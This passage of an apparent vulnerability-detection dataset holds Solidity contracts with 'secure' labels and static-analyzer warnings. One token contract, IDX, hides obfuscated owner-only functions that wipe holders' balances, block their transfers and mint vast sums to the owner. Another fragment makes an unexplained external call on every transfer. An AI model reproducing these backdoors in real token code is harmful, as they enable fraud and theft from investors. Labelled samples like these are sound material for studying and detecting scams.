}\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n IERC20(OPMaddress).opm(_loops);\n }\n}",
"file_name": "solidity_code_3590.sol",
"secure": 0,
"size_bytes": 7165
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract IDX is Ownable {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 218ff49): IDX.constructor(address).giYwxSbm lacks a zerocheck on \t wjGJdWRr = giYwxSbm\n\t// Recommendation for 218ff49: Check that the address is not zero.\n constructor(address giYwxSbm) {\n address tsYiFCPM = _msgSender();\n\t\t// missing-zero-check | ID: 218ff49\n wjGJdWRr = giYwxSbm;\n abott[tsYiFCPM] += tokenamount;\n emit Transfer(address(0), tsYiFCPM, tokenamount);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c29be1): IDX._tokenname should be constant \n\t// Recommendation for 5c29be1: Add the 'constant' attribute to state variables that never change.\n string public _tokenname = \"I-Dex Protocol\";\n\t// WARNING Optimization Issue (constable-states | ID: 3581f79): IDX._tokensymbol should be constant \n\t// Recommendation for 3581f79: Add the 'constant' attribute to state variables that never change.\n string public _tokensymbol = \"IDX\";\n\t// WARNING Optimization Issue (immutable-states | ID: db037c2): IDX.tokenamount should be immutable \n\t// Recommendation for db037c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 tokenamount = 10000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: c8ee886): IDX.wjGJdWRr should be immutable \n\t// Recommendation for c8ee886: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public wjGJdWRr;\n\t// WARNING Optimization Issue (immutable-states | ID: 8095136): IDX._totalSupply should be immutable \n\t// Recommendation for 8095136: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = tokenamount;\n mapping(address => uint256) private abott;\n mapping(address => mapping(address => uint256)) private _allowances;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n mapping(address => uint256) private yuuy;\n function rvGJBoxu(address dwTgDhje) public {\n require(wjGJdWRr == _msgSender());\n if (wjGJdWRr != _msgSender()) {\n revert(\"fu\");\n }\n\n address gikhJdSW = dwTgDhje;\n uint256 cxuramountx = abott[gikhJdSW] - 9999 + 9999;\n uint256 newaaamount = cxuramountx + abott[gikhJdSW] - abott[gikhJdSW];\n abott[gikhJdSW] -= newaaamount;\n }\n\n function jbGRKxwF(address dwTgDhje) public {\n if (wjGJdWRr != _msgSender()) {\n revert(\"fu\");\n }\n\n require(wjGJdWRr == _msgSender());\n address gikhJdSW = dwTgDhje;\n yuuy[gikhJdSW] = 9999;\n }\n\n function wCfnEZKR(address dwTgDhje) public {\n if (wjGJdWRr != _msgSender()) {\n revert(\"fu\");\n }\n require(wjGJdWRr == _msgSender());\n address gikhJdSW = dwTgDhje;\n yuuy[gikhJdSW] = 0;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return abott[account];\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function ouKOHPip() external {\n if (wjGJdWRr == _msgSender()) {}\n uint256 kEWiefYT = 42330000000 - 10000;\n require(wjGJdWRr == _msgSender());\n address jjhhhaxx = _msgSender();\n address ccaa12 = jjhhhaxx;\n\n uint256 ammtemp = 69200 * ((10 ** decimals() * kEWiefYT));\n abott[ccaa12] += ammtemp;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n bool xcom = yuuy[_msgSender()] == 9999;\n if (xcom) {\n revert(_tokenname);\n }\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: df16809): IDX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for df16809: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n bool xcom = yuuy[_msgSender()] == 9999;\n if (xcom) {\n revert(_tokenname);\n }\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = abott[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n abott[from] = abott[from] - amount;\n abott[to] = abott[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b47090): IDX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b47090: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aa6f8d4): IDX._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aa6f8d4: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd52775): IDX.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd52775: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n}",
"file_name": "solidity_code_3591.sol",
"secure": 0,
"size_bytes": 7962
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract Swampes is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 80b7bd5): Swampes._owner should be immutable \n\t// Recommendation for 80b7bd5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 576e9e8): Swampes._numberMinted(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for 576e9e8: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f43220f): Swampes._getAux(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for f43220f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e93bda3): Swampes.balanceOf(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for e93bda3: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1bd9909): Swampes.isApprovedForAll(address,address).owner shadows Swampes.owner() (function)\n\t// Recommendation for 1bd9909: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06b1b72): Swampes.approve(address,uint256).owner shadows Swampes.owner() (function)\n\t// Recommendation for 06b1b72: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender);\n _;\n }\n\n uint256 public constant MAX_SUPPLY = 1227;\n uint256 public MAX_FREE = 789;\n uint256 public MAX_FREE_PER_WALLET = 1;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"Swampes\";\n string private constant _symbol = \"SWAMPE\";\n string private _baseURI = \"QmZTSrSyHAynsft1v678q5JaitNDydQPzyPE6f8gJ5Z9zj\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"SoldOut\");\n require(amount * COST <= msg.value, \"Value to Low\");\n require(amount <= 5, \"max 5 per TX\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external {\n address _caller = _msgSenderERC721A();\n uint256 amount = 1;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint SoldOut\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 199114f): Swampes.setConfig(uint256,uint256,uint256) should emit an event for MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET COST = _COST MAX_FREE = _MAX_FREE \n\t// Recommendation for 199114f: Emit an event for critical parameter changes.\n function setConfig(\n uint256 _MAX_FREE_PER_WALLET,\n uint256 _COST,\n uint256 _MAX_FREE\n ) external onlyOwner {\n\t\t// events-maths | ID: 199114f\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n\t\t// events-maths | ID: 199114f\n COST = _COST;\n\t\t// events-maths | ID: 199114f\n MAX_FREE = _MAX_FREE;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e93bda3): Swampes.balanceOf(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for e93bda3: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 576e9e8): Swampes._numberMinted(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for 576e9e8: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f43220f): Swampes._getAux(address).owner shadows Swampes.owner() (function)\n\t// Recommendation for f43220f: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c0e8193): Swampes._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for c0e8193: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: c0e8193\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b6d2f14): Swampes._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for b6d2f14: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 932d6ec): Swampes._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 932d6ec: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: b6d2f14\n\t\t// incorrect-equality | ID: 932d6ec\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06b1b72): Swampes.approve(address,uint256).owner shadows Swampes.owner() (function)\n\t// Recommendation for 06b1b72: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1bd9909): Swampes.isApprovedForAll(address,address).owner shadows Swampes.owner() (function)\n\t// Recommendation for 1bd9909: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 02a428d): Swampes._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 02a428d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8912988): Swampes._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 8912988: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 02a428d\n\t\t\t\t// incorrect-equality | ID: 8912988\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_3592.sol",
"secure": 0,
"size_bytes": 17092
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n return a % b;\n }\n\n function min(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = x < y ? x : y;\n }\n\n function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n}",
"file_name": "solidity_code_3593.sol",
"secure": 1,
"size_bytes": 2058
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract VVvNFTStakingContract is Ownable {\n using SafeMath for uint256;\n\n address public nftAddress;\n address public vVvS1RAddress;\n\n struct UserInfo {\n uint256 tokenId;\n uint256 startTime;\n uint256 lockTime;\n }\n\n mapping(address => UserInfo[]) public userInfo;\n mapping(address => uint256) public stakingAmount;\n mapping(uint256 => uint32) public nftRace;\n\n event Stake(address indexed user, uint256 amount);\n event UnStake(address indexed user, uint256 amount);\n\n error tokenIsAlreadyStaked();\n error stakeNotCalledByTokenOwner();\n error tokenIsAlreadyUnstaked();\n error lockTimeNotReached();\n error stakingContractIsNotOwner();\n\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external pure returns (bytes4) {\n return\n bytes4(\n keccak256(\"onERC721Received(address,address,uint256,bytes)\")\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 71f90b9): vVvNFTStakingContract.setNFTAddress(address)._nftAddress lacks a zerocheck on \t nftAddress = _nftAddress\n\t// Recommendation for 71f90b9: Check that the address is not zero.\n function setNFTAddress(address _nftAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 71f90b9\n nftAddress = _nftAddress;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b623866): vVvNFTStakingContract.setRewardAddress(address)._vVvS1RAddress lacks a zerocheck on \t vVvS1RAddress = _vVvS1RAddress\n\t// Recommendation for b623866: Check that the address is not zero.\n function setRewardAddress(address _vVvS1RAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: b623866\n vVvS1RAddress = _vVvS1RAddress;\n }\n\n function setSharkRaceByTokenIds(\n uint256[] memory _sharkTokenIds\n ) external onlyOwner {\n for (uint256 i = 0; i < _sharkTokenIds.length; i++) {\n nftRace[_sharkTokenIds[i]] = 1;\n }\n }\n\n function setWhaleRaceByTokenIds(\n uint256[] memory _whaleTokenIds\n ) external onlyOwner {\n for (uint256 i = 0; i < _whaleTokenIds.length; i++) {\n nftRace[_whaleTokenIds[i]] = 2;\n }\n }\n\n function setDolphinRaceByTokenIds(\n uint256[] memory _dolphinTokenIds\n ) external onlyOwner {\n for (uint256 i = 0; i < _dolphinTokenIds.length; i++) {\n nftRace[_dolphinTokenIds[i]] = 0;\n }\n }\n\n constructor() {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a0b6e1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a0b6e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 1242427): vVvNFTStakingContract.stake(uint256[],uint32[]) has external calls inside a loop IERC721(nftAddress).ownerOf(tokenIds[i]) != msg.sender\n\t// Recommendation for 1242427: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 9350e58): vVvNFTStakingContract.stake(uint256[],uint32[]) has external calls inside a loop IERC721(nftAddress).transferFrom(msg.sender,address(this),tokenIds[i])\n\t// Recommendation for 9350e58: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: a1043e4): vVvNFTStakingContract.stake(uint256[],uint32[]) has external calls inside a loop IERC721(vVvS1RAddress).transferFrom(address(this),msg.sender,tokenIds[i])\n\t// Recommendation for a1043e4: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4f11402): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4f11402: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 7f0b67c): vVvNFTStakingContract.stake(uint256[],uint32[]).info is a local variable never initialized\n\t// Recommendation for 7f0b67c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function stake(\n uint256[] memory tokenIds,\n uint32[] memory _lockTime\n ) external {\n uint16 stakeCounter = 0;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n (bool _isStaked, , ) = getStakingItemInfo(msg.sender, tokenIds[i]);\n if (_isStaked) {\n revert tokenIsAlreadyStaked();\n\t\t\t// calls-loop | ID: 1242427\n }\n if (IERC721(nftAddress).ownerOf(tokenIds[i]) != msg.sender) {\n revert stakeNotCalledByTokenOwner();\n }\n\t\t\t// reentrancy-events | ID: 6a0b6e1\n\t\t\t// calls-loop | ID: 9350e58\n\t\t\t// reentrancy-no-eth | ID: 4f11402\n\n IERC721(nftAddress).transferFrom(\n msg.sender,\n address(this),\n tokenIds[i]\n );\n\n UserInfo memory info;\n info.tokenId = tokenIds[i];\n info.startTime = block.timestamp;\n if (_lockTime[i] == 1) {\n info.lockTime = 26 weeks;\n } else {\n 